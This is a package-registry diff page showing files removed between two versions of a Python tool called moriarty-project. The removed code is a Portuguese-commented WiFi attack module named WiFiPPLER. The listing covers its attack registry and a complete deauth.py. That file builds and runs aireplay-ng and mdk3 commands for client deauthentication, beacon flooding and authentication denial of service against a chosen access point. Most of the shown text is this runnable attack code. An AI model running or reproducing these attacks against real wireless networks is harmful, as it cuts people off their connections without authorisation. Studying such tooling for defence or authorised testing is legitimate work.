moriarty-project 0.1.21__py3-none-any.whl → 0.1.23__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- moriarty/__init__.py +1 -1
- moriarty/cli/app.py +5 -6
- moriarty/modules/port_scanner.py +1 -5
- {moriarty_project-0.1.21.dist-info → moriarty_project-0.1.23.dist-info}/METADATA +36 -49
- {moriarty_project-0.1.21.dist-info → moriarty_project-0.1.23.dist-info}/RECORD +7 -26
- moriarty/cli/wifippler.py +0 -124
- moriarty/modules/wifippler/__init__.py +0 -92
- moriarty/modules/wifippler/cli/__init__.py +0 -8
- moriarty/modules/wifippler/cli/commands.py +0 -123
- moriarty/modules/wifippler/core/__init__.py +0 -94
- moriarty/modules/wifippler/core/attacks/__init__.py +0 -146
- moriarty/modules/wifippler/core/attacks/deauth.py +0 -262
- moriarty/modules/wifippler/core/attacks/handshake.py +0 -402
- moriarty/modules/wifippler/core/attacks/pmkid.py +0 -424
- moriarty/modules/wifippler/core/attacks/wep.py +0 -467
- moriarty/modules/wifippler/core/attacks/wpa.py +0 -446
- moriarty/modules/wifippler/core/attacks/wps.py +0 -474
- moriarty/modules/wifippler/core/models/__init__.py +0 -10
- moriarty/modules/wifippler/core/models/network.py +0 -216
- moriarty/modules/wifippler/core/scanner.py +0 -901
- moriarty/modules/wifippler/core/utils/__init__.py +0 -636
- moriarty/modules/wifippler/core/utils/exec.py +0 -182
- moriarty/modules/wifippler/core/utils/network.py +0 -223
- moriarty/modules/wifippler/core/utils/system.py +0 -153
- {moriarty_project-0.1.21.dist-info → moriarty_project-0.1.23.dist-info}/WHEEL +0 -0
- {moriarty_project-0.1.21.dist-info → moriarty_project-0.1.23.dist-info}/entry_points.txt +0 -0
@@ -1,94 +0,0 @@
|
|
1
|
-
"""
|
2
|
-
Módulo principal do WiFiPPLER.
|
3
|
-
|
4
|
-
Este pacote contém a funcionalidade central da ferramenta WiFiPPLER,
|
5
|
-
incluindo escaneamento de rede, análise de pacotes e módulos de ataque.
|
6
|
-
"""
|
7
|
-
|
8
|
-
# Importações principais
|
9
|
-
from .scanner import WiFiScanner
|
10
|
-
|
11
|
-
# Sistema de registro de ataques
|
12
|
-
from .attacks import (
|
13
|
-
Attack,
|
14
|
-
register_attack,
|
15
|
-
get_attack,
|
16
|
-
list_attacks,
|
17
|
-
|
18
|
-
# Ataques padrão
|
19
|
-
WPSAttack,
|
20
|
-
WPAHandshakeAttack,
|
21
|
-
PMKIDAttack,
|
22
|
-
WEPAttack,
|
23
|
-
DeauthAttack,
|
24
|
-
HandshakeCapture
|
25
|
-
)
|
26
|
-
|
27
|
-
# Importar apenas o necessário do módulo utils
|
28
|
-
from .utils import (
|
29
|
-
# Funções básicas
|
30
|
-
is_root,
|
31
|
-
check_dependencies,
|
32
|
-
|
33
|
-
# Funções de rede
|
34
|
-
get_network_interfaces,
|
35
|
-
get_wireless_interfaces,
|
36
|
-
get_monitor_interfaces,
|
37
|
-
|
38
|
-
# Controle de modo monitor
|
39
|
-
set_monitor_mode,
|
40
|
-
restore_network_interface,
|
41
|
-
start_monitor_mode,
|
42
|
-
stop_monitor_mode,
|
43
|
-
|
44
|
-
# Funções de interface
|
45
|
-
get_interface_mac,
|
46
|
-
get_interface_ip,
|
47
|
-
get_interface_netmask,
|
48
|
-
get_interface_gateway,
|
49
|
-
is_wireless_interface,
|
50
|
-
|
51
|
-
# Utilitários de linha de comando
|
52
|
-
run_command,
|
53
|
-
run_command_async,
|
54
|
-
command_exists,
|
55
|
-
)
|
56
|
-
|
57
|
-
# Exportar apenas a API pública
|
58
|
-
__all__ = [
|
59
|
-
# Scanner
|
60
|
-
'WiFiScanner',
|
61
|
-
|
62
|
-
# Sistema de ataques
|
63
|
-
'Attack',
|
64
|
-
'register_attack',
|
65
|
-
'get_attack',
|
66
|
-
'list_attacks',
|
67
|
-
|
68
|
-
# Ataques
|
69
|
-
'WPSAttack',
|
70
|
-
'WPAHandshakeAttack',
|
71
|
-
'PMKIDAttack',
|
72
|
-
'WEPAttack',
|
73
|
-
'DeauthAttack',
|
74
|
-
'HandshakeCapture',
|
75
|
-
|
76
|
-
# Funções de utilidade
|
77
|
-
'is_root',
|
78
|
-
'check_dependencies',
|
79
|
-
'get_network_interfaces',
|
80
|
-
'get_wireless_interfaces',
|
81
|
-
'get_monitor_interfaces',
|
82
|
-
'set_monitor_mode',
|
83
|
-
'restore_network_interface',
|
84
|
-
'start_monitor_mode',
|
85
|
-
'stop_monitor_mode',
|
86
|
-
'get_interface_mac',
|
87
|
-
'get_interface_ip',
|
88
|
-
'get_interface_netmask',
|
89
|
-
'get_interface_gateway',
|
90
|
-
'is_wireless_interface',
|
91
|
-
'run_command',
|
92
|
-
'run_command_async',
|
93
|
-
'command_exists',
|
94
|
-
]
|
@@ -1,146 +0,0 @@
|
|
1
|
-
"""
|
2
|
-
Módulo de Ataques do WiFiPPLER.
|
3
|
-
|
4
|
-
Implementa um sistema de registro de ataques para permitir descoberta dinâmica
|
5
|
-
e execução de diferentes tipos de ataques de segurança WiFi.
|
6
|
-
|
7
|
-
Este módulo utiliza o padrão de registro para permitir que novos ataques sejam
|
8
|
-
facilmente adicionados ao sistema sem modificar o código existente.
|
9
|
-
|
10
|
-
Exemplo de uso:
|
11
|
-
>>> # Registrar um novo tipo de ataque
|
12
|
-
>>> @register_attack
|
13
|
-
>>> class MeuAtaque:
|
14
|
-
... name = "meu_ataque"
|
15
|
-
... description = "Descrição do meu ataque personalizado"
|
16
|
-
...
|
17
|
-
... def run(self, *, iface: str, target: Optional[str] = None, **kwargs):
|
18
|
-
... # Implementação do ataque
|
19
|
-
... pass
|
20
|
-
|
21
|
-
>>> # Obter um ataque pelo nome
|
22
|
-
>>> ataque_cls = get_attack("meu_ataque")
|
23
|
-
>>> if ataque_cls:
|
24
|
-
... ataque = ataque_cls()
|
25
|
-
... ataque.run(iface="wlan0", target="00:11:22:33:44:55")
|
26
|
-
"""
|
27
|
-
from typing import Dict, Type, Protocol, Optional, Any, TypeVar
|
28
|
-
|
29
|
-
# Tipo genérico para a classe Attack
|
30
|
-
T = TypeVar('T', bound='Attack')
|
31
|
-
|
32
|
-
class Attack(Protocol):
|
33
|
-
"""Protocolo que define a interface para todos os ataques.
|
34
|
-
|
35
|
-
Para criar um novo ataque, crie uma classe que implemente este protocolo
|
36
|
-
e use o decorador @register_attack para registrá-lo.
|
37
|
-
"""
|
38
|
-
# Nome único do ataque (deve ser um identificador em minúsculas com underscores)
|
39
|
-
name: str
|
40
|
-
|
41
|
-
# Descrição do ataque (aparecerá na lista de ataques disponíveis)
|
42
|
-
description: str = ""
|
43
|
-
|
44
|
-
def run(self, *, iface: str, target: Optional[str] = None, **kwargs: Any) -> None:
|
45
|
-
"""Executa o ataque.
|
46
|
-
|
47
|
-
Args:
|
48
|
-
iface: Interface de rede a ser usada (ex: 'wlan0')
|
49
|
-
target: Alvo do ataque (opcional, pode ser um endereço MAC, BSSID, etc.)
|
50
|
-
**kwargs: Argumentos adicionais específicos do ataque
|
51
|
-
|
52
|
-
Raises:
|
53
|
-
Exception: Se ocorrer um erro durante a execução do ataque
|
54
|
-
"""
|
55
|
-
...
|
56
|
-
|
57
|
-
# Registro global de ataques
|
58
|
-
REGISTRY: Dict[str, Type[Attack]] = {}
|
59
|
-
|
60
|
-
def register_attack(attack_cls: Type[T]) -> Type[T]:
|
61
|
-
"""Decorador para registrar uma classe de ataque.
|
62
|
-
|
63
|
-
Exemplo:
|
64
|
-
>>> @register_attack
|
65
|
-
>>> class MeuAtaque:
|
66
|
-
... name = "meu_ataque"
|
67
|
-
... description = "Descrição do meu ataque"
|
68
|
-
... def run(self, *, iface: str, **kwargs):
|
69
|
-
... pass
|
70
|
-
|
71
|
-
Args:
|
72
|
-
attack_cls: Classe de ataque a ser registrada. Deve implementar o protocolo Attack.
|
73
|
-
|
74
|
-
Returns:
|
75
|
-
A própria classe de ataque, permitindo uso como decorador
|
76
|
-
|
77
|
-
Raises:
|
78
|
-
ValueError: Se o nome do ataque já estiver registrado
|
79
|
-
"""
|
80
|
-
if not hasattr(attack_cls, 'name') or not attack_cls.name:
|
81
|
-
raise ValueError(f"A classe {attack_cls.__name__} deve definir um atributo 'name'")
|
82
|
-
|
83
|
-
if attack_cls.name in REGISTRY:
|
84
|
-
raise ValueError(f"Já existe um ataque registrado com o nome '{attack_cls.name}'")
|
85
|
-
|
86
|
-
REGISTRY[attack_cls.name] = attack_cls
|
87
|
-
return attack_cls
|
88
|
-
|
89
|
-
def get_attack(name: str) -> Optional[Type[Attack]]:
|
90
|
-
"""Obtém uma classe de ataque pelo nome.
|
91
|
-
|
92
|
-
Args:
|
93
|
-
name: Nome do ataque a ser recuperado (case-sensitive)
|
94
|
-
|
95
|
-
Returns:
|
96
|
-
A classe de ataque correspondente ou None se não encontrado
|
97
|
-
|
98
|
-
Example:
|
99
|
-
>>> ataque_cls = get_attack("deauth")
|
100
|
-
>>> if ataque_cls:
|
101
|
-
... ataque = ataque_cls()
|
102
|
-
... ataque.run(iface="wlan0", target="00:11:22:33:44:55")
|
103
|
-
"""
|
104
|
-
return REGISTRY.get(name)
|
105
|
-
|
106
|
-
def list_attacks() -> Dict[str, str]:
|
107
|
-
"""Lista todos os ataques registrados.
|
108
|
-
|
109
|
-
Returns:
|
110
|
-
Dicionário onde as chaves são os nomes dos ataques e os valores são suas descrições
|
111
|
-
|
112
|
-
Example:
|
113
|
-
>>> for nome, descricao in list_attacks().items():
|
114
|
-
... print(f"{nome}: {descricao}")
|
115
|
-
"""
|
116
|
-
return {name: cls.description for name, cls in REGISTRY.items()}
|
117
|
-
|
118
|
-
# Importa os módulos de ataque para registrar as classes automaticamente
|
119
|
-
# A ordem de importação é importante para evitar importações circulares
|
120
|
-
from .deauth import DeauthAttack
|
121
|
-
from .handshake import HandshakeCapture
|
122
|
-
from .pmkid import PMKIDAttack
|
123
|
-
from .wep import WEPAttack
|
124
|
-
from .wpa import WPAHandshakeAttack
|
125
|
-
from .wps import WPSAttack
|
126
|
-
|
127
|
-
# Exporta a API pública
|
128
|
-
__all__ = [
|
129
|
-
# Interface e registro
|
130
|
-
'Attack',
|
131
|
-
'register_attack', # Alias para register para melhor clareza
|
132
|
-
'get_attack',
|
133
|
-
'list_attacks',
|
134
|
-
'register', # Mantido para compatibilidade
|
135
|
-
|
136
|
-
# Ataques específicos
|
137
|
-
'DeauthAttack',
|
138
|
-
'HandshakeCapture',
|
139
|
-
'PMKIDAttack',
|
140
|
-
'WEPAttack',
|
141
|
-
'WPAHandshakeAttack',
|
142
|
-
'WPSAttack',
|
143
|
-
|
144
|
-
# Registro interno (exposto apenas para testes)
|
145
|
-
'REGISTRY',
|
146
|
-
]
|
@@ -1,262 +0,0 @@
|
|
1
|
-
"""
|
2
|
-
Módulo de ataque de desautenticação.
|
3
|
-
|
4
|
-
Este módulo implementa ataques de desautenticação contra redes WiFi, permitindo:
|
5
|
-
- Desautenticar clientes específicos
|
6
|
-
- Desautenticar todos os clientes de uma rede
|
7
|
-
- Enviar pacotes de desautenticação em massa
|
8
|
-
- Realizar ataques Beacon Flood
|
9
|
-
- Realizar ataques de desautenticação direcionados
|
10
|
-
"""
|
11
|
-
import os
|
12
|
-
import re
|
13
|
-
import time
|
14
|
-
import logging
|
15
|
-
import subprocess
|
16
|
-
import tempfile
|
17
|
-
from typing import Optional, Dict, List, Tuple, Any, Callable, Union
|
18
|
-
from dataclasses import dataclass, field
|
19
|
-
from enum import Enum, auto
|
20
|
-
|
21
|
-
from rich.console import Console
|
22
|
-
from rich.progress import Progress, SpinnerColumn, TextColumn
|
23
|
-
|
24
|
-
from ...core.models.network import WiFiNetwork, WiFiClient
|
25
|
-
from ...core.utils import (
|
26
|
-
is_root, check_dependencies, get_network_interfaces,
|
27
|
-
set_monitor_mode, restore_network_interface, command_exists,
|
28
|
-
get_interface_mac
|
29
|
-
)
|
30
|
-
|
31
|
-
# Importa o decorador de registro de ataques
|
32
|
-
from . import register_attack
|
33
|
-
|
34
|
-
# Configuração de logging
|
35
|
-
logging.basicConfig(level=logging.INFO)
|
36
|
-
logger = logging.getLogger(__name__)
|
37
|
-
console = Console()
|
38
|
-
|
39
|
-
class DeauthAttackType(Enum):
|
40
|
-
"""Tipos de ataque de desautenticação."""
|
41
|
-
DEAUTH = auto() # Desautenticação padrão
|
42
|
-
AUTH = auto() # Pacotes de autenticação
|
43
|
-
BEACON = auto() # Beacon flood
|
44
|
-
DISASSOC = auto() # Desassociação
|
45
|
-
PROBE_RESP = auto() # Resposta a sondas
|
46
|
-
AUTH_DOS = auto() # Negação de serviço por autenticação
|
47
|
-
DEAUTH_BROADCAST = auto() # Desautenticação em broadcast
|
48
|
-
DEAUTH_MULTICAST = auto() # Desautenticação em multicast
|
49
|
-
DEAUTH_DIRECTED = auto() # Desautenticação direcionada
|
50
|
-
|
51
|
-
class DeauthEventType(Enum):
|
52
|
-
"""Tipos de eventos do ataque de desautenticação."""
|
53
|
-
START = auto()
|
54
|
-
PACKET_SENT = auto()
|
55
|
-
CLIENT_DISCONNECTED = auto()
|
56
|
-
ERROR = auto()
|
57
|
-
COMPLETE = auto()
|
58
|
-
STATUS = auto()
|
59
|
-
|
60
|
-
@dataclass
|
61
|
-
class DeauthEvent:
|
62
|
-
"""Evento de progresso do ataque de desautenticação."""
|
63
|
-
type: DeauthAttackType
|
64
|
-
message: str = ""
|
65
|
-
data: Dict[str, Any] = field(default_factory=dict)
|
66
|
-
|
67
|
-
@register_attack
|
68
|
-
class DeauthAttack:
|
69
|
-
"""
|
70
|
-
Ataque de desautenticação WiFi.
|
71
|
-
|
72
|
-
Este ataque envia pacotes de desautenticação para desconectar clientes de uma rede WiFi.
|
73
|
-
Pode ser direcionado a um cliente específico ou a todos os clientes de uma rede.
|
74
|
-
"""
|
75
|
-
|
76
|
-
# Metadados do ataque
|
77
|
-
name = "deauth"
|
78
|
-
description = "Ataque de desautenticação WiFi para desconectar clientes de uma rede"
|
79
|
-
|
80
|
-
def __init__(self):
|
81
|
-
"""Inicializa o ataque de desautenticação."""
|
82
|
-
self.interface = None
|
83
|
-
self.deauth_type = None
|
84
|
-
self.is_running = False
|
85
|
-
self.stop_requested = False
|
86
|
-
self.packets_sent = 0
|
87
|
-
self.process = None
|
88
|
-
self._check_dependencies()
|
89
|
-
|
90
|
-
def _check_dependencies(self) -> None:
|
91
|
-
"""Verifica se todas as dependências necessárias estão instaladas."""
|
92
|
-
required = ['aireplay-ng', 'mdk4', 'mdk3', 'iwconfig', 'ifconfig']
|
93
|
-
missing = [cmd for cmd in required if not command_exists(cmd)]
|
94
|
-
|
95
|
-
if missing:
|
96
|
-
raise RuntimeError(
|
97
|
-
f"As seguintes dependências estão faltando: {', '.join(missing)}\n"
|
98
|
-
"Instale-as com: sudo apt install aircrack-ng mdk4 mdk3 wireless-tools"
|
99
|
-
)
|
100
|
-
|
101
|
-
def run(self, *, iface: str, target: Optional[str] = None, **kwargs) -> bool:
|
102
|
-
"""
|
103
|
-
Executa o ataque de desautenticação.
|
104
|
-
|
105
|
-
Args:
|
106
|
-
iface: Interface de rede a ser usada
|
107
|
-
target: Endereço MAC do alvo (pode ser um cliente ou AP)
|
108
|
-
**kwargs: Argumentos adicionais:
|
109
|
-
- bssid: Endereço MAC do ponto de acesso (obrigatório se target for um cliente)
|
110
|
-
- client_mac: Endereço MAC do cliente (opcional, None para broadcast)
|
111
|
-
- count: Número de pacotes a enviar (0 para contínuo, padrão: 0)
|
112
|
-
- delay: Atraso entre pacotes em ms (padrão: 100)
|
113
|
-
- reason: Código de motivo (padrão: 7)
|
114
|
-
- channel: Canal da rede (opcional, tenta detectar)
|
115
|
-
- deauth_type: Tipo de ataque (padrão: DEAUTH)
|
116
|
-
"""
|
117
|
-
self.interface = iface
|
118
|
-
bssid = target or kwargs.get('bssid')
|
119
|
-
client_mac = kwargs.get('client_mac')
|
120
|
-
count = kwargs.get('count', 0)
|
121
|
-
delay = kwargs.get('delay', 100)
|
122
|
-
reason = kwargs.get('reason', 7)
|
123
|
-
channel = kwargs.get('channel')
|
124
|
-
deauth_type = kwargs.get('deauth_type', 'DEAUTH')
|
125
|
-
|
126
|
-
# Configura o tipo de ataque
|
127
|
-
self.deauth_type = DeauthAttackType[deauth_type.upper()] if isinstance(deauth_type, str) else deauth_type
|
128
|
-
|
129
|
-
# Função de callback padrão
|
130
|
-
def default_callback(event):
|
131
|
-
if event.type == DeauthEventType.INFO:
|
132
|
-
logger.info(event.message)
|
133
|
-
elif event.type == DeauthEventType.ERROR:
|
134
|
-
logger.error(event.message)
|
135
|
-
|
136
|
-
callback = kwargs.get('callback', default_callback)
|
137
|
-
|
138
|
-
def event_handler(event_type: DeauthEventType, message: str = "", **kwargs):
|
139
|
-
if callback:
|
140
|
-
event = DeauthEvent(type=event_type, message=message, data=kwargs)
|
141
|
-
callback(event)
|
142
|
-
|
143
|
-
try:
|
144
|
-
# Verifica privilégios
|
145
|
-
if not is_root():
|
146
|
-
raise PermissionError("Este ataque requer privilégios de root")
|
147
|
-
|
148
|
-
# Define o canal, se especificado
|
149
|
-
if channel:
|
150
|
-
self._set_channel(channel)
|
151
|
-
|
152
|
-
# Prepara o comando com base no tipo de ataque
|
153
|
-
if self.deauth_type == DeauthAttackType.BEACON:
|
154
|
-
cmd = self._prepare_beacon_attack(bssid, essid="FREE_WIFI")
|
155
|
-
elif self.deauth_type == DeauthAttackType.AUTH_DOS:
|
156
|
-
cmd = self._prepare_auth_dos(bssid)
|
157
|
-
else: # Desautenticação padrão
|
158
|
-
cmd = self._prepare_standard_deauth(bssid, client_mac, count, delay, reason)
|
159
|
-
|
160
|
-
event_handler(DeauthEventType.START, f"Iniciando ataque {self.deauth_type.name}...")
|
161
|
-
|
162
|
-
# Executa o comando em segundo plano
|
163
|
-
self.process = subprocess.Popen(
|
164
|
-
cmd,
|
165
|
-
stdout=subprocess.PIPE,
|
166
|
-
stderr=subprocess.STDOUT,
|
167
|
-
universal_newlines=True
|
168
|
-
)
|
169
|
-
|
170
|
-
# Monitora a saída
|
171
|
-
start_time = time.time()
|
172
|
-
self.is_running = True
|
173
|
-
|
174
|
-
while True:
|
175
|
-
# Verifica se foi solicitado para parar
|
176
|
-
if self.stop_requested:
|
177
|
-
self._stop_process()
|
178
|
-
event_handler(DeauthEventType.COMPLETE, "Ataque interrompido pelo usuário")
|
179
|
-
return True
|
180
|
-
|
181
|
-
# Verifica se o processo ainda está em execução
|
182
|
-
if self.process.poll() is not None:
|
183
|
-
break
|
184
|
-
|
185
|
-
# Lê a saída
|
186
|
-
line = self.process.stdout.readline()
|
187
|
-
if line:
|
188
|
-
# Conta os pacotes enviados
|
189
|
-
if "DeAuth" in line or "Sent" in line:
|
190
|
-
self.packets_sent += 1
|
191
|
-
event_handler(
|
192
|
-
DeauthEventType.PACKET_SENT,
|
193
|
-
f"Pacote {self.packets_sent} enviado",
|
194
|
-
packets_sent=self.packets_sent
|
195
|
-
)
|
196
|
-
|
197
|
-
# Verifica se um cliente foi desconectado
|
198
|
-
if "deauth" in line.lower() or "disassoc" in line.lower():
|
199
|
-
event_handler(
|
200
|
-
DeauthEventType.CLIENT_DISCONNECTED,
|
201
|
-
f"Cliente {client_mac or 'broadcast'} desconectado",
|
202
|
-
client_mac=client_mac,
|
203
|
-
bssid=bssid
|
204
|
-
)
|
205
|
-
|
206
|
-
# Aguarda um pouco antes da próxima verificação
|
207
|
-
time.sleep(0.1)
|
208
|
-
|
209
|
-
event_handler(DeauthEventType.COMPLETE, "Ataque concluído")
|
210
|
-
return True
|
211
|
-
|
212
|
-
except Exception as e:
|
213
|
-
event_handler(DeauthEventType.ERROR, f"Erro durante o ataque: {str(e)}")
|
214
|
-
return False
|
215
|
-
finally:
|
216
|
-
self.is_running = False
|
217
|
-
|
218
|
-
def _set_channel(self, channel: int) -> None:
|
219
|
-
"""Define o canal da interface de rede."""
|
220
|
-
try:
|
221
|
-
subprocess.run(
|
222
|
-
["iwconfig", self.interface, "channel", str(channel)],
|
223
|
-
check=True,
|
224
|
-
capture_output=True
|
225
|
-
)
|
226
|
-
except subprocess.CalledProcessError as e:
|
227
|
-
raise RuntimeError(f"Falha ao definir o canal {channel}: {e.stderr}")
|
228
|
-
|
229
|
-
def _prepare_standard_deauth(self, bssid: str, client_mac: str = None,
|
230
|
-
count: int = 0, delay: int = 100,
|
231
|
-
reason: int = 7) -> List[str]:
|
232
|
-
"""Prepara o comando para desautenticação padrão."""
|
233
|
-
cmd = ["aireplay-ng", "--deauth", str(count) if count > 0 else "0",
|
234
|
-
"-a", bssid, "-D", str(delay), "--ignore-negative-one"]
|
235
|
-
|
236
|
-
if client_mac:
|
237
|
-
cmd.extend(["-c", client_mac])
|
238
|
-
|
239
|
-
cmd.append(self.interface)
|
240
|
-
return cmd
|
241
|
-
|
242
|
-
def _prepare_beacon_attack(self, bssid: str, essid: str = "FREE_WIFI") -> List[str]:
|
243
|
-
"""Prepara o comando para ataque de Beacon Flood."""
|
244
|
-
return ["mdk3", self.interface, "b", "-n", essid, "-c", "1", "-s", "100"]
|
245
|
-
|
246
|
-
def _prepare_auth_dos(self, bssid: str) -> List[str]:
|
247
|
-
"""Prepara o comando para ataque de negação de serviço por autenticação."""
|
248
|
-
return ["mdk3", self.interface, "a", "-a", bssid, "-m"]
|
249
|
-
|
250
|
-
def _stop_process(self) -> None:
|
251
|
-
"""Para o processo em execução."""
|
252
|
-
if self.process and self.process.poll() is None:
|
253
|
-
self.process.terminate()
|
254
|
-
try:
|
255
|
-
self.process.wait(timeout=5)
|
256
|
-
except subprocess.TimeoutExpired:
|
257
|
-
self.process.kill()
|
258
|
-
|
259
|
-
def stop(self) -> None:
|
260
|
-
"""Solicita a interrupção do ataque."""
|
261
|
-
self.stop_requested = True
|
262
|
-
self._stop_process()
|